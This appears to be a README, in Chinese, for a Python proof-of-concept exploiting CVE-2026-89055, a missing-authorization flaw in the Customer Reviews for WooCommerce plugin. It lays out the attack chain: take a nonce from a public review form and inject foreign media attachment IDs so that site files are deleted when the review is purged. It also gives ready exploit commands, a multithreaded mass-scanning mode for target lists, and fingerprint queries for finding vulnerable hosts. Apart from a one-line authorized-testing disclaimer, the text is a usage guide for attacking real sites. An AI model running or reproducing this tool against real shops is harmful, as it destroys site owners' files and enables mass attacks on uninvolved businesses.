针对 Customer Reviews for WooCommerce(customer-reviews-woocommerce / Ivole CusRev)中 CVE-2026-89055 的 Python 3 PoC。
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 在公开的本地评论表单 AJAX 处理程序(cr_local_forms_submit)上存在缺失授权漏洞。任何拥有客户评论链接(来自订单后邮件的 /cusrev/{13-hex formId}/)的人都可以获取有效的 crSubmitNonce 并提交评论,其 items[].media 数组可能包含任意媒体库附件 ID(产品图片、徽标、PDF 等)。这些 ID 存储在评论 comment meta 中;当评论被永久删除(回收站清除 / 垃圾评论清理)时,delete_review_media_attachments() 会对每个关联的 ID 调用 wp_delete_attachment(),且不进行所有权检查。CVSS 3.1 9.1 严重(C:N/I:H/A:H)。已在 > 5.120.0 中修复。
{site}/cusrev/{formId}/ → 读取 crSubmitNonce 和产品 data-itemid 值。admin-ajax.php 发送 POST:action=cr_local_forms_submit,并附带 items[n][media][]=<victim_attachment_id>。ivole_reviews_locl_img / video)。delete_review_media_attachments 会删除每个关联的附件文件。此 PoC 在授权目标上执行步骤 1–2。步骤 4 是站点/管理员生命周期事件(在输出中记录为 chain_note)。
pip install -r requirements.txt
Python 3.8+。
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| 文件 | 含义 |
|---|---|
cve_2026_89055_results.jsonl | 每个目标的 JSON |
hits.txt | 候选目标或利用标记 |
candidates.jsonl | 需要表单链接的插件漏洞主机 |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
仅限授权测试。
| 平台 | WordPress + WooCommerce |
| 插件 | Customer Reviews for WooCommerce |
| 受影响版本 | ≤ 5.120.0 |
| CWE | CWE-862(缺失授权) |
| 前提条件 | 公开的 /cusrev/{formId}/ 链接(页面上有 nonce) |
| 影响 | 评论清除后任意媒体删除(完整性 + 可用性) |